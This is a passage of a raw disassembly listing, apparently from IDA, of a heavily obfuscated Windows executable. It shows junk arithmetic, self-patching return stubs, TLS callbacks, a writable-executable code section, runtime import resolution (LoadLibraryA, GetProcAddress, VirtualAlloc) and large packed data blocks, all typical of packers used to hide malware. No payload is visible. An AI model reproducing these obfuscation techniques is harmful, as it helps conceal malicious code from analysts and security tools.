BYTES xchg esi, [esp+0] pop esi add eax, [ebp-8] loc_44E35E: ; CODE XREF: y22d6.y.:00448762j mov [ebp-24h], eax push 733022D1h pop eax jmp loc_441642 sub_44E357 endp ; sp-analysis failed ; --------------------------------------------------------------------------- loc_44E36C: ; CODE XREF: y22d6.y.:loc_43CB92j ; DATA XREF: sub_43D8B5+1o mov ebp, esp push ecx mov esp, ebp pop ebp jmp loc_4425FC ; --------------------------------------------------------------------------- loc_44E377: ; CODE XREF: y22d6.y.:loc_44D7CEj mov ds:dword_41E16C, eax lea eax, nullsub_19 mov byte ptr [eax], 0C3h jmp nullsub_19 ; =============== S U B R O U T I N E ======================================= sub_44E38B proc near ; CODE XREF: sub_40EA45+27p ; y22d6.y.:004383C0j ; DATA XREF: ... ; FUNCTION CHUNK AT 00437E73 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 0043ABAE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D48B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442D03 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00444C7C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044B8B8 SIZE 00000011 BYTES push eax push 0DBB64063h pop eax or eax, 7A83D751h add eax, 5D7B87E6h loc_44E39E: ; CODE XREF: sub_43C3DD-7FEj jmp loc_437E73 sub_44E38B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44825F loc_44E3A3: ; CODE XREF: sub_44825F:loc_43FB22j add edx, 0F938A12Dh mov [edx], eax pop edx push offset loc_44B89C jmp nullsub_279 ; END OF FUNCTION CHUNK FOR sub_44825F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44190B loc_44E3B6: ; CODE XREF: sub_44190B:loc_449302j xchg edx, [esp+0] jmp sub_44D293 ; END OF FUNCTION CHUNK FOR sub_44190B ; --------------------------------------------------------------------------- sub ebp, esi jmp loc_44C17C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C242 loc_44E3C5: ; CODE XREF: sub_43C242+6DE0j jz loc_44024C jmp loc_4405BE ; END OF FUNCTION CHUNK FOR sub_43C242 ; =============== S U B R O U T I N E ======================================= sub_44E3D0 proc near ; CODE XREF: y22d6.y.:00437D87j ; sub_43B98D+8606p xchg ebx, [esp+0] pop ebx or dword ptr [eax-8], 8 jmp loc_43A882 sub_44E3D0 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D025 loc_44E3DD: ; CODE XREF: sub_43D025+4j ; sub_447AE3+7j push offset loc_43B51F jmp nullsub_280 ; END OF FUNCTION CHUNK FOR sub_43D025 ; --------------------------------------------------------------------------- pop edi jmp sub_445E41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449C1B loc_44E3ED: ; CODE XREF: sub_449C1B:loc_44AE64j ; sub_449C1B+4888j mov eax, [ebp-4] cmp byte ptr [eax], 0F1h jnz loc_44951A jmp loc_440BB0 ; END OF FUNCTION CHUNK FOR sub_449C1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4408F2 loc_44E3FE: ; CODE XREF: sub_4408F2+11j pop ebx rol ebx, 13h sub ebx, 0E99D23CDh call sub_44B33D loc_44E40D: ; CODE XREF: sub_44D8F4+7j jmp loc_43961D ; END OF FUNCTION CHUNK FOR sub_4408F2 ; --------------------------------------------------------------------------- loc_44E412: ; CODE XREF: y22d6.y.:0043F6B5j jmp sub_43CA1A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4441D9 loc_44E417: ; CODE XREF: sub_4441D9+Aj pop edx add edx, 7E08FADBh sub edx, ds:4000E1h test edx, 10h jmp loc_437676 ; END OF FUNCTION CHUNK FOR sub_4441D9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440494 loc_44E42F: ; CODE XREF: sub_440494+55A9j pop ebx and edi, 0F93DD9DFh cmp edi, 0CE10A128h jmp loc_43DAD9 ; END OF FUNCTION CHUNK FOR sub_440494 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_445362 loc_44E441: ; CODE XREF: sub_445362+Cj jz loc_43B749 jmp loc_43F1D3 ; END OF FUNCTION CHUNK FOR sub_445362 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CFF2 loc_44E44C: ; CODE XREF: sub_43CFF2-F41j pop eax rol esi, 1Dh xor esi, 3835F10Bh rol esi, 9 sub esi, 0E49D9B57h add esi, 0EE3AED5Ch jmp loc_445CCC ; END OF FUNCTION CHUNK FOR sub_43CFF2 ; --------------------------------------------------------------------------- loc_44E46A: ; CODE XREF: y22d6.y.:loc_4492F8j pop edi and edi, 0BEE12DD6h add edi, 0E021D42Ah mov [edi], eax pop edi jmp loc_437AF2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442856 loc_44E47F: ; CODE XREF: sub_442856:loc_439847j sub al, 99h push 0FA2F8777h pop edx add edx, 1791542Fh sub edx, 2A035736h rol edx, 1 jmp loc_4470F6 ; END OF FUNCTION CHUNK FOR sub_442856 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449C1B loc_44E49A: ; CODE XREF: sub_449C1B+124Fj popf sub ebx, ecx jg loc_43AA27 jmp loc_44E3ED ; END OF FUNCTION CHUNK FOR sub_449C1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43ECDD loc_44E4A8: ; CODE XREF: sub_43ECDD:loc_439D81j xor eax, edx pop edx ror eax, 1Fh push offset loc_44E60B jmp nullsub_283 ; END OF FUNCTION CHUNK FOR sub_43ECDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E185 loc_44E4B8: ; CODE XREF: sub_43E185:loc_43858Fj mov [edx], ebx xchg eax, [ebp+0] cmp ebp, 0BE6BF716h jmp loc_438ABA ; END OF FUNCTION CHUNK FOR sub_43E185 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C6D7 loc_44E4C8: ; CODE XREF: sub_43C6D7+3968j shl ecx, 0Eh loc_44E4CB: ; CODE XREF: sub_43C6D7:loc_4370ECj push 5D73C864h pop eax xor eax, 7647B568h and eax, 6366A4ADh sub eax, 9703DEE3h add eax, 911FF788h push edi jmp loc_445F78 ; END OF FUNCTION CHUNK FOR sub_43C6D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4477E6 loc_44E4EF: ; CODE XREF: sub_4477E6:loc_438BAFj cmp al, 0A4h jz loc_439AF8 jmp loc_44E025 ; END OF FUNCTION CHUNK FOR sub_4477E6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_44E4FC: ; CODE XREF: sub_448EB6:loc_44906Dj jz loc_438D00 jmp loc_439C24 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44A9DF loc_44E507: ; CODE XREF: sub_44A9DF:loc_440B91j push offset sub_44BA8D jmp nullsub_285 ; END OF FUNCTION CHUNK FOR sub_44A9DF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_44E511: ; CODE XREF: sub_43B252:loc_44485Aj jz loc_43DDA6 jmp loc_43F6E0 ; END OF FUNCTION CHUNK FOR sub_43B252 ; =============== S U B R O U T I N E ======================================= sub_44E51C proc near ; CODE XREF: sub_437901+12422p ; y22d6.y.:0044D348j ; FUNCTION CHUNK AT 0043A30D SIZE 0000000E BYTES ; FUNCTION CHUNK AT 0043C855 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442D6C SIZE 00000011 BYTES ; FUNCTION CHUNK AT 004451C7 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449443 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044B9D8 SIZE 00000006 BYTES xchg edx, [esp+0] pop edx push 0A6B008C4h pop esi jmp loc_449443 sub_44E51C endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_44E52B proc near ; DATA XREF: sub_43C712:loc_442024o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00448DAB SIZE 0000000D BYTES rol eax, 12h push esi push 0B666EA0h pop esi add esi, 0DB1F74D1h xor esi, 16A019EAh jmp loc_448DAB sub_44E52B endp ; --------------------------------------------------------------------------- loc_44E546: ; CODE XREF: y22d6.y.:004379A9j or eax, ds:4000E6h and eax, 2CA7FBF4h test eax, 8000h jmp loc_4462D8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4400D5 loc_44E55D: ; CODE XREF: sub_4400D5-3169j mov ebx, ecx loc_44E55F: ; CODE XREF: sub_4400D5:loc_43CF60j add ecx, 3C30FEA5h mov [ecx], eax pop ecx lea eax, sub_44D3B1 jmp loc_44E22A ; END OF FUNCTION CHUNK FOR sub_4400D5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444427 loc_44E573: ; CODE XREF: sub_444427:loc_442CC4j pop ebx rol ebx, 0Fh add ebx, 4F19D779h xchg ebx, [esp+4+var_4] jmp loc_441A50 ; END OF FUNCTION CHUNK FOR sub_444427 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B09B loc_44E585: ; CODE XREF: sub_43B09B:loc_43EAAAj jz loc_449195 jmp loc_444EA9 ; END OF FUNCTION CHUNK FOR sub_43B09B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C7F1 loc_44E590: ; CODE XREF: y22d6.y.:loc_43A6CBj ; sub_44C7F1-441Bj movzx eax, word ptr [ebp-6] loc_44E594: ; CODE XREF: y22d6.y.:0044B53Fj mov [ebp-1Ch], eax ; END OF FUNCTION CHUNK FOR sub_44C7F1 ; START OF FUNCTION CHUNK FOR sub_44928B loc_44E597: ; CODE XREF: sub_44928B:loc_44E149j mov eax, [ebp-18h] push edi call sub_441E5C loc_44E5A0: ; CODE XREF: sub_43A1FA:loc_441E05j sub eax, 0A4AEBC65h or eax, 72BAA07Ch add eax, 89850D3Ah xchg eax, [esp+0] jmp loc_43B28C ; END OF FUNCTION CHUNK FOR sub_44928B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_439A90 loc_44E5BA: ; CODE XREF: y22d6.y.:loc_43B483j ; sub_439A90+90BBj xchg edx, [esi] jmp loc_448F4B ; END OF FUNCTION CHUNK FOR sub_439A90 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_178. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4383E0 loc_44E5C2: ; CODE XREF: sub_4383E0+4117j jmp loc_445EB1 ; END OF FUNCTION CHUNK FOR sub_4383E0 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_44E5C7 proc near ; CODE XREF: sub_44E1BD-141A6p ; y22d6.y.:004411FFp ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437867 SIZE 00000027 BYTES ; FUNCTION CHUNK AT 00438934 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00438A28 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043A985 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0043AE0C SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043AFA2 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043B6D1 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043C52F SIZE 00000003 BYTES ; FUNCTION CHUNK AT 0043CCE7 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0043DB66 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043E6A6 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00441858 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044207B SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044260F SIZE 00000002 BYTES ; FUNCTION CHUNK AT 00442A00 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 00442CED SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00444BA4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00445AF7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00447A42 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00447B4D SIZE 0000001E BYTES ; FUNCTION CHUNK AT 00447D5A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004489D5 SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044A06B SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044CD60 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044D47B SIZE 0000000E BYTES push ebp loc_44E5C8: ; CODE XREF: sub_44A359:loc_43E2F2j mov ebp, esp push ecx mov [ebp+var_4], eax mov eax, [ebp+var_4] jmp loc_43AE0C sub_44E5C7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43CBD3 loc_44E5D6: ; CODE XREF: sub_43CBD3:loc_44DECEj jz loc_4404B5 jmp loc_43F7D4 ; END OF FUNCTION CHUNK FOR sub_43CBD3 ; --------------------------------------------------------------------------- xchg ebx, [eax] push 5418A1F2h jmp sub_44BF7B ; --------------------------------------------------------------------------- mov eax, 0C684C00Ch call sub_43CA1A mov ds:off_41E078, eax lea eax, loc_44C527 mov byte ptr [eax], 0C3h jmp loc_43977A ; --------------------------------------------------------------------------- loc_44E60B: ; DATA XREF: sub_43ECDD+F7D1o mov edx, [esp] push eax mov eax, edx call sub_440F6A mov eax, [esp] push eax push 1271838Fh jmp loc_441CBE ; --------------------------------------------------------------------------- loc_44E624: ; CODE XREF: y22d6.y.:0043F9CDj xchg edi, [esp] pop edi mov eax, [esp] push edx call sub_43F891 ; START OF FUNCTION CHUNK FOR sub_438A94 loc_44E631: ; CODE XREF: sub_438A94+12229j jmp sub_44B06F ; END OF FUNCTION CHUNK FOR sub_438A94 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_65. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A148 loc_44E637: ; CODE XREF: sub_43A148+7j jmp loc_4408EF ; END OF FUNCTION CHUNK FOR sub_43A148 ; =============== S U B R O U T I N E ======================================= sub_44E63C proc near ; DATA XREF: sub_448EB6-5C28o ; FUNCTION CHUNK AT 0043B829 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043D354 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043F33F SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0043F904 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043FEA2 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00443C70 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044716F SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00449CDD SIZE 00000008 BYTES call sub_4481AF push esi push 0FCF86B82h pop esi and esi, 0ADB364ABh xor esi, 6DF3597Dh add esi, ebp add esi, 3EBCC5F9h jmp loc_43D354 sub_44E63C endp ; --------------------------------------------------------------------------- loc_44E661: ; CODE XREF: y22d6.y.:0043DDD7j xor edi, ebp ; START OF FUNCTION CHUNK FOR sub_444D45 loc_44E663: ; CODE XREF: sub_444D45:loc_437A5Cj and eax, 57BBFF7h xor eax, 0DE3CB935h push edi push 3E767F81h pop edi jmp loc_43CD11 ; END OF FUNCTION CHUNK FOR sub_444D45 ; --------------------------------------------------------------------------- loc_44E67B: ; CODE XREF: y22d6.y.:00445FECj or eax, eax jnz loc_44BFC5 jmp loc_43FEB5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A94 loc_44E688: ; CODE XREF: sub_438A94+F5E3j or esi, 59F3DD1Bh rol esi, 1Eh sub esi, 76F6398Eh or esi, 0A682166Dh add esi, 58B83682h xchg esi, [esp+4+var_4] jmp loc_44E180 ; END OF FUNCTION CHUNK FOR sub_438A94 ; --------------------------------------------------------------------------- loc_44E6AB: ; DATA XREF: sub_447527:loc_43C446o pushf push offset loc_44AF23 jmp loc_43F4A4 ; --------------------------------------------------------------------------- dw 0F77Ah dd 0BE1F99E4h, 0D1D256D4h, 356F8A99h, 0C4E1h, 24Eh dup(0) y22d6_y_ ends ; Section 7. (virtual address 0004F000) ; Virtual size : 00028000 ( 163840.) ; Section size in file : 00028000 ( 163840.) ; Offset to raw data for section: 0004F000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute isk1wxzg segment para public 'CODE' use32 assume cs:isk1wxzg ;org 44F000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing db 0CCh db 0F0h, 4, 0 align 8 dd 0FFFFFFFFh, 4F03Ch, 4F0B4h, 4F108h, 0 dd 0FFFFFFFFh, 4F0E8h, 4F104h, 5 dup(0) dd 6E72656Bh, 32336C65h, 6C6C642Eh, 0 dd 65470000h, 646F4D74h, 48656C75h, 6C646E61h, 4165h, 6F4C0000h dd 694C6461h, 72617262h, 4179h, 65470000h, 6F725074h, 64644163h dd 73736572h, 0 dd 78450000h, 72507469h, 7365636Fh, 73h, 69560000h, 61757472h dd 6C6C416Ch, 636Fh, 69560000h, 61757472h, 6572466Ch, 65h dword_44F0B4 dd 77E79F93h ; DATA XREF: sub_4760A2+28r dword_44F0B8 dd 77E805D8h ; DATA XREF: sub_4760A2+37r dword_44F0BC dd 77E7A5FDh ; DATA XREF: sub_4760A2+8Er dword_44F0C0 dd 77E75CB5h ; DATA XREF: isk1wxzg:00474C2Fr ; isk1wxzg:0047503Bo ... dword_44F0C4 dd 77E7980Ah, 77E79E34h, 4F04Ch, 4F060h, 4F070h, 4F084h ; DATA XREF: sub_47627E+1Eo dd 4F094h, 4F0A4h, 0 dd 72657375h, 642E3233h, 6C6Ch, 654D0000h, 67617373h, 786F4265h dd 41h dword_44F104 dd 77D6ADD7h ; DATA XREF: sub_47615A+64r dd 4F0F4h, 0 off_44F110 dd offset off_41E000, 4 dup(0) ; DATA XREF: sub_476204+16o dd 400h, 15h dup(0) dd 5000h, 0 dd 3EFF0000h, 5D75018Dh, 41077A02h, 4F481108h, 31931131h dd 1F0E0230h, 30056018h, 7932029Ch, 6B0016FEh, 14250B01h dd 4F594A05h, 3D02722Bh, 2D71186Bh, 4D0F0A2Ah, 1F369A1Eh dd 1181018h, 0DA91883h, 83340C54h, 270A4D10h, 4935AE06h dd 5AA6E05h, 0CD4E3B20h, 3142490Fh, 2B5D0407h, 1A154828h dd 2B9B1402h, 48770E2Eh, 0D0B07C9h, 280000FEh, 441519Ch dd 110E0104h, 59B0816h, 17380707h, 0E4129373h, 80140C0Fh dd 0A2F3C30h, 3A0A08C4h, 24416224h, 20AC558h, 770E2957h dd 902832Dh, 430F020Eh, 344C6084h, 51130F4Bh, 0C221116h dd 1255802h, 4B31520Ah, 2B36949h, 0C0D5A0Fh, 281A104Eh dd 3B8B2C10h, 2120020Ah, 0F020701h, 0B78D1253h, 320F2C02h dd 2876254Dh, 5AD8902h, 34375011h, 15950B42h, 37842305h dd 240D7A46h, 91B012Eh, 5C082306h, 6C790212h, 72F0F02h dd 2500B4FEh, 8909020Ch, 1CFE13h, 134C006h, 7715130Dh dd 1E01FC98h, 91A0D17h, 57100297h, 0DF1B2E10h, 60CB13Eh dd 3CB30674h, 0F4327AB2h, 8D131861h, 7500705h, 252C560Ch dd 2D205102h, 997A110Ch, 11340128h, 1D541021h, 3974243Bh dd 1547017Fh, 2160701h, 2C8E273Dh, 0E81622Eh, 42FE02h dd 245F1728h, 5C4D3676h, 174F1749h, 0FE72111Dh, 0B150139h dd 0D7E2607h, 1C02545Ah, 2C09115Bh, 20021602h, 0BFE1D02h dd 5C5F7C00h, 92182E05h, 0F222F0Fh, 2D1B1A1Dh, 11006FFEh dd 3F0D9F0Bh, 110E143Bh, 6B070902h, 928B201h, 52211229h dd 1A0F6E01h, 9125A4Dh, 846022Ch, 3E0D011Fh, 9A2F363Ch dd 2070107h, 478C5513h, 351D2D44h, 354F510Ah, 441D3207h dd 1E632546h, 7380370Eh, 6B1D9B33h, 1F342CF6h, 15020A6Ah dd 3902ED31h, 1F3C341Eh, 7AD1415h, 2251529h, 1D640926h dd 66001CFEh, 5A026102h, 0E1011A02h, 986071Ch, 7750200Fh dd 0C312A79h, 0F0239A8h, 276193Ah, 0F201845h, 1F450D07h dd 1F022386h, 3F022C1Ch, 383D0129h, 4302C692h, 0F2D3E16h dd 14694AAh, 33499D26h, 1F022A84h, 5E7C420Dh, 85182016h dd 5ABC5641h, 0D081926h, 5D521E09h, 2504CC0Ah, 2302848Fh dd 29319002h, 4D074D8Eh, 0FE0E2A2Bh, 0AAB3002Bh, 2262405h dd 1C59081Eh, 520A0230h, 72B8360Eh, 48055D02h, 341E6532h dd 6356C102h, 2112217h, 0E783162Fh, 230028FEh, 22023C7Eh dd 3D43390Bh, 644C3C0Bh, 22A3701h, 37022A84h, 62C0154h dd 5C0C0F07h, 26C820Dh, 4359080Fh, 31201134h, 442C0658h dd 47378E51h, 5A56020Ch, 6DFE102Ah, 0FE090200h, 11420011h dd 2100240h, 5112242Dh, 14107405h, 42C6EA62h, 43022722h dd 9240782h, 61113C4h, 186F2B2Eh, 0F022407h, 5E200D34h dd 0BC6A1920h, 1D22192Dh, 1328024Eh, 91520141h, 40B66E1Dh dd 20068FEh, 4E020B0Fh, 66160B13h, 2173D93h, 21D012Fh dd 0F175A65h, 180DBC20h, 1E225C26h, 1F090217h, 0C053FA6h dd 1EA2054Bh, 12204608h, 7F573D02h, 0A1123405h, 7495107h dd 0FE2D010Ah, 5AC7000Eh, 488A1411h, 1F021F02h, 5A85F68h dd 0C0B3B44h, 9D022E02h, 0BB72D94h, 111124C4h, 131A0C11h dd 310207A3h, 4F012635h, 7C402C17h, 4FE6Dh, 3B81675Dh dd 100020FEh, 2BF2A2Ch, 4A4B024Eh, 0CC236B72h, 0A7F029Bh dd 257145Ch, 243F511Ch, 22029107h, 522D2232h, 3B1EA47Dh dd 6D257E07h, 12E6A921h, 0E8FE5934h, 27477F01h, 201E0A14h dd 65394790h, 132020Fh, 0A316438Eh, 20025D0Fh, 2D9FA001h dd 23A330Ah, 55865915h, 151E5E33h, 6156822h, 8AFE0591h dd 35300307h, 1205172Ah, 2E022820h, 2140F02h, 51023718h dd 2E676B0Dh, 1D392409h, 201A0F3Ah, 14D0738h, 1F2E1290h dd 1E5B012Ch, 0A230246h, 1A0F0210h, 5972A246h, 6C033101h dd 9C1A5315h, 294B55B6h, 4B525C15h, 0D1022002h, 21A45205h dd 15CDA16h, 3450071Dh, 0FE72025Ch, 72600BFh, 6A400A02h dd 2071125h, 4D02210Eh, 696A5048h, 99035237h, 26510B0Dh dd 8C227049h, 1A1A2947h, 0FE029505h, 314800A0h, 5AFE0A2Dh dd 8E022200h, 75011E12h, 11FE6B8Fh, 0A130100h, 112E5223h dd 24D32C0Ah, 23F7907h, 400211A0h, 161AAD27h, 372A461Ah dd 9E22510Fh, 266265C1h, 0C092E34Bh, 7902362Dh, 5712592Bh dd 5202183Ah, 7D052F84h, 27C452Ch, 32051073h, 479A4402h dd 0E37326Ch, 37362801h, 54200249h, 1A021A0Eh, 290F151Bh dd 0F025244h, 566D3307h, 12050AADh, 0AFE4425h, 323D1B00h dd 0DD94502h, 1A500250h, 38122D13h, 456727B2h, 201B1539h dd 0E950090Eh, 21A0E13h, 5A1B470Fh, 3C5F0213h, 20A3934h dd 316B0C0Fh, 5D381C0Dh, 12957C2Dh, 0D830F02h, 226D0232h dd 2690905h, 58020E72h, 0C9181807h, 9B231905h, 0F051E3Bh dd 21F5574h, 29FC042h, 11308437h, 7FE0C02h, 2DA73300h dd 0C381902h, 6D1E3710h, 13210701h, 0E510719h, 207360Fh dd 0D640241h, 439D030Fh, 30180F0Bh, 612D1E57h, 3D0F022Ch dd 17620413h, 8A30954h, 163C4629h, 0A3A2009h, 222021Ah dd 56264320h, 0B7A2224h, 2E2C4132h, 0C01E7602h, 0B0D0113h dd 57C0402h, 65014F9Ch, 33270C10h, 10028FEh, 2D033214h dd 1B3B1A55h, 2102480Fh, 9802424Ah, 4380718h, 0CFE8F7Dh dd 0FE5D5100h, 33FE001Bh, 0FE0F7100h, 1A020008h, 5220B0Ch dd 10024C51h, 3B05551Ch, 821B054Fh, 310009FEh, 2D042202h dd 55384F3Eh, 0B05153Ch, 9C024731h, 0FFFFFF0Ah, 0FFh TlsDirectory dd 0 TlsEnd_ptr dd 0 TlsIndex_ptr dd offset TlsIndex TlsCallbacks_ptr dd offset TlsCallbacks ; DATA XREF: sub_473D98:loc_475291o TlsSizeOfZeroFill dd 0 TlsCharacteristics dd 0 TlsIndex dd 0 ; DATA XREF: isk1wxzg:TlsIndex_ptro TlsCallbacks dd offset TlsCallback_0 ; DATA XREF: isk1wxzg:TlsCallbacks_ptro dd 0 ; --------------------------------------------------------------------------- push esi push ecx mov esi, eax mov ecx, edx sub ecx, 4 cld loc_44F7CA: ; CODE XREF: isk1wxzg:0044F7E1j lodsb shr al, 1 cmp al, 74h jnz short loc_44F7E0 mov eax, [esi] bswap eax add eax, ecx mov [esi], eax add esi, 4 sub ecx, 4 loc_44F7E0: ; CODE XREF: isk1wxzg:0044F7D0j dec ecx jg short loc_44F7CA pop ecx pop esi retn ; --------------------------------------------------------------------------- db 8Bh, 0C0h dd offset sub_401000 dd 0D000434Ah, 1, 717E0000h, 93F120D5h, 6481CC1Fh, 0A1B4812Dh dd 44661123h, 4E124C28h, 39A7C4Ch, 0AFE84960h, 0BCD29D5Ah dd 7799FFFFh, 91B4DC5Ch, 0A6E0A0h, 955F6C0Eh, 924BFF78h dd 3C5C1344h, 0BB53FFDh, 6B47D7A8h, 0B464035Dh, 0E00B3015h dd 0D8466CC1h, 0DF440085h, 54528622h, 13F062F6h, 11BF0855h dd 911B8B45h, 257388B4h, 4D11D1FEh, 0A0D48123h, 0F631A08Ch dd 11A24043h, 0C4928355h, 15D0C40h, 24A22B80h, 0A8C91FC0h dd 731DBD06h, 0D1C29F6Eh, 1F846A54h, 1C080056h, 33EDF3B7h dd 120190C0h, 1BF0A335h, 46FE873Dh, 0D1BD8DC3h, 9633236Dh dd 606710E6h, 3CFA0775h, 1B26040Fh, 63C37B1h, 0C11A8D10h dd 0EF863A37h, 34AAF694h, 3C750417h, 4A276A3h, 8D36104Ah dd 36980205h, 51A80E76h, 48017E71h, 0B0BC28ABh, 9D250077h dd 0F49900A4h, 73DFE951h, 7230EF31h, 14A84630h, 0A38CA0E9h dd 3FF0724h, 0F64D847Eh, 0B2EBEBA8h, 4EC01302h, 7E10320Dh dd 3D211ACFh, 80F230C8h, 32C1B540h, 0C9245890h, 0C7303115h dd 700A4F1Ah, 0A2006831h, 0A85AF8BBh, 12D5CB30h, 368D318Ah dd 5AA030C8h, 68387489h, 0F6A7356Ch, 0D70E4E14h, 0EB0E36C9h dd 0A101B24Ah, 39803615h, 5351C448h, 0C7DAE681h, 0E5317887h dd 0DFEDEA50h, 0F1767F89h, 0D16394CDh, 652ACF83h, 0F9BD92C8h dd 24318084h, 0A0CAF83Eh, 42128491h, 8B6FB864h, 4D689C05h dd 22A412E0h, 42215E94h, 822D34E3h, 9190E466h, 8B6B5080h dd 672A328Dh, 21EA4855h, 38D71F42h, 0FD2280h, 67882D1Ah dd 1019082Eh, 354A3E03h, 0DFF83A29h, 48DF026Ch, 0C807D00h dd 0A8D9A70Bh, 916ADh, 4E3BF4C9h, 0D002DD3h, 4AD0C2E2h dd 0E055C986h, 5A0C45A8h, 0C5FCE560h, 0EE262F57h, 1D081A7Ch dd 0C54F596Dh, 6ED63870h, 38DC81EBh, 47A10440h, 2C3703BBh dd 9AC8EBA4h, 6CD76690h, 0AC031B81h, 51831C72h, 53EBE5Ch dd 0D3AEFBBFh, 3B4B842Ah, 0AFAA69D6h, 702746A1h, 0BEBBB5A8h dd 52298541h, 8657B368h, 596C33EDh, 5B409ED3h, 0A7B17E9Ch dd 4C72AA28h, 8A54C449h, 0C329AE01h, 38C8D05h, 3F8B38A8h dd 4E5F700Fh, 2B411D61h, 25A9F4E9h, 5A63993Ch, 0CE413964h dd 73497002h, 0E2F1C509h, 62CBBBACh, 0BD5B924Bh, 9F0D57Eh dd 83CB99F3h, 0FCB50144h, 108DA4E2h, 0AC92DE14h, 87C6571Bh dd 3878520Fh, 2E2707D9h, 52B5314Eh, 0BBC20BB4h, 629F05A0h dd 0F62628D3h, 0C6E1E283h, 4AA48B90h, 398076A0h, 2403D1C7h dd 471BDC36h, 0A698984Fh, 8D0FD76h, 1950C447h, 0B9DD80E7h dd 11D901D3h, 7B1CA115h, 7CA24BCAh, 0CF62683Bh, 800CBA28h dd 0C6B36EB9h, 0B6CCE04h, 54AB9155h, 59B0A408h, 6170BB0Ch dd 6E820CA2h, 40B618DAh, 0B3FFA2DCh, 0C25001E6h, 2698306Bh dd 0B45C936Dh, 4362571h, 480E540h, 5188B28h, 301D6330h dd 9FAE5182h, 0C0511A4Ah, 9F21F60Bh, 0BAEA81Bh, 0C447450Ch dd 2A144009h, 0A37F5006h, 443E105Dh, 1C8A73Ah, 438A9107h dd 3883DB1Dh, 0B71BA1F0h, 0C3014E0Fh, 0C1FF3A10h, 0ACD9025h dd 91A3903h, 5616DB66h, 64E04678h, 0A754D23h, 36DC1268h dd 386CE7B0h, 62B9A98h, 0B5060141h, 7D290C52h, 0E0A40307h dd 6C660487h, 0A6E540AAh, 24960D96h, 0A2C20232h, 4CF92F1Ah dd 20DB290Ah, 